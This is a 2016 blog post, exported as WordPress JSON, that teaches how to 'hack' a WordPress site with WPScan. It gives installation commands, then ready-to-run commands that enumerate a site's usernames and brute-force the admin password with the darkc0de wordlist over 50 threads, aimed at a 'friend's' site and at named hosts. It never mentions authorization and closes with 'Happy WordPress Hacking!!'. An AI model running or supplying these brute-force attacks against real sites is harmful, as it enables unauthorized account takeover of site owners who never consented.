{"id":405,"date":"2016-01-15T16:12:29","date_gmt":"2016-01-15T16:12:29","guid":{"rendered":"http:\/\/sushilkumar.ind.in\/?p=405"},"modified":"2016-01-15T16:15:53","modified_gmt":"2016-01-15T16:15:53","slug":"how-to-hack-wordpress-website-by-linux","status":"publish","type":"post","link":"https:\/\/www.sushilkumar.ind.in\/blog\/wordpress\/how-to-hack-wordpress-website-by-linux\/","title":{"rendered":"How to hack wordpress website by linux?"},"content":{"rendered":"

WPScan.rb<\/b> is a nifty bit of program that allows you to scan WordPress sites for information as well as do some fun stuff.Say for example you want to “hack” into your friends WordPress site :-)…or just get some information, whatever.<\/span><\/p>\n

I’m using BackTrack 5 r3 for this tutorial but you can use kali linux for this they are similar<\/span><\/p>\n


\n<\/span>Step1: You can use it to enumerate usernames, so you can see what usernames are valid on the WordPress site by running this command:<\/b><\/span><\/p>\n


\n<\/span>ruby .\/wpscan.rb –url www.friends-site.com –enumerate u<\/b><\/span><\/p>\n

\"2<\/p>\n


\n<\/span>Running this command against a real WordPress site will show something like this:\u00a0<\/b><\/span><\/p>\n

\n

\"2\"
\n<\/span>Step2:<\/span><\/b><\/p>\n

Now that you know what the usernames are, you can then try to brute force it with a list of passwords. This process takes a while, and you have to have a word list. BackTrack 5 r3 comes with a decent word list, so I’ll use that in this example.<\/span><\/b><\/p>\n


\n<\/span>ruby .\/wpscan.rb –url www.friends-site.com –wordlist \/pentest\/passwords\/wordlists\/darkc0de.lst –username admin<\/span><\/b><\/p>\n


\n<\/span><\/b>The above command is telling WPScan to attack your friends URL, using the username “admin” with the word list that is located in the<\/span> \/pentest\/passwords\/wordlists\/<\/span><\/b> folder of Back Track 5.<\/span><\/p>\n

You can even add threading to make the process a little faster by using this switch: –threads 50<\/span><\/p>\n

There are a few more things you can do, including scanning for what plugins the site uses, as well as telling you which ones are vulnerable.<\/span><\/p>\n

Happy WordPress Hacking!!<\/span><\/p>\n

or<\/span><\/p>\n

How to Install WPScan?<\/span><\/b><\/p>\n

Before you install WPScan, you have to install number of dependencies essential by this tiny ruby application. BTW i am using BackTrack5 Linux.<\/p>\n

Dependencies :<\/b><\/p>\n

apt-get install libcurl4-gnutls-dev
\ngem install --user-install mime-types
\ngem install --user-install xml-simple
\ngem install --user-install typhoeus<\/code><\/p>\n

WPScan Installation :<\/b><\/p>\n

cd \/pentest\/web\/
\nwget http:\/\/wpscan.googlecode.com\/files\/wpscan-1.0.zip
\nunzip wpscan-1.0.zip
\ncd wpscan<\/code><\/p>\n

How to use WPScan?<\/span><\/b><\/p>\n

It is almost cooked. One more thing we need here; is to download keywords database which will be used for brute forcing.<\/p>\n

wget http:\/\/static.hackersgarage.com\/darkc0de.lst.gz
\ngunzip darkc0de.lst.gz<\/code><\/p>\n

Example usage of this ant application :<\/b><\/p>\n

Do \u2018non-intrusive\u2019 checks\u2026<\/p>\n

ruby .\/wpscan.rb --url www.hackersgarage.com<\/code><\/p>\n

Do wordlist password brute force on enumerated users using 50 threads\u2026<\/p>\n

ruby .\/wpscan.rb --url www.hackersgarage.com --wordlist darkc0de.lst --threads 50<\/code><\/p>\n

Do wordlist password brute force on the \u2018admin\u2019 username only\u2026<\/p>\n

ruby .\/wpscan.rb --url www.hackersgarage.com --wordlist darkc0de.lst --username admin<\/code><\/p>\n

Generate a new \u2018most popular\u2019 plugin list, up to 150 pages\u2026<\/p>\n

ruby .\/wpscan.rb --generate_plugin_list 150<\/code><\/p>\n

Enumerate instaled plugins\u2026<\/p>\n

ruby .\/wpscan.rb --enumerate p<\/code><\/p>\n","protected":false},"excerpt":{"rendered":"

WPScan.rb is a nifty bit of program that allows you to scan WordPress sites for information as well as do some fun stuff.Say for example you want to “hack” into your friends WordPress site :-)…or just get some information, whatever. I’m using BackTrack 5 r3 for this tutorial but you can use kali linux for …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","enabled":false},"version":2}},"categories":[13],"tags":[36,38,39,37],"class_list":["post-405","post","type-post","status-publish","format-standard","","category-wordpress","tag-hack","tag-linux","tag-website","tag-wordpress"],"jetpack_publicize_connections":[],"acf":[],"aioseo_notices":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p99pkJ-6x","_links":{"self":[{"href":"https:\/\/www.sushilkumar.ind.in\/blog\/wp-json\/wp\/v2\/posts\/405"}],"collection":[{"href":"https:\/\/www.sushilkumar.ind.in\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sushilkumar.ind.in\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sushilkumar.ind.in\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sushilkumar.ind.in\/blog\/wp-json\/wp\/v2\/comments?post=405"}],"version-history":[{"count":0,"href":"https:\/\/www.sushilkumar.ind.in\/blog\/wp-json\/wp\/v2\/posts\/405\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sushilkumar.ind.in\/blog\/wp-json\/wp\/v2\/media?parent=405"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sushilkumar.ind.in\/blog\/wp-json\/wp\/v2\/categories?post=405"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sushilkumar.ind.in\/blog\/wp-json\/wp\/v2\/tags?post=405"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}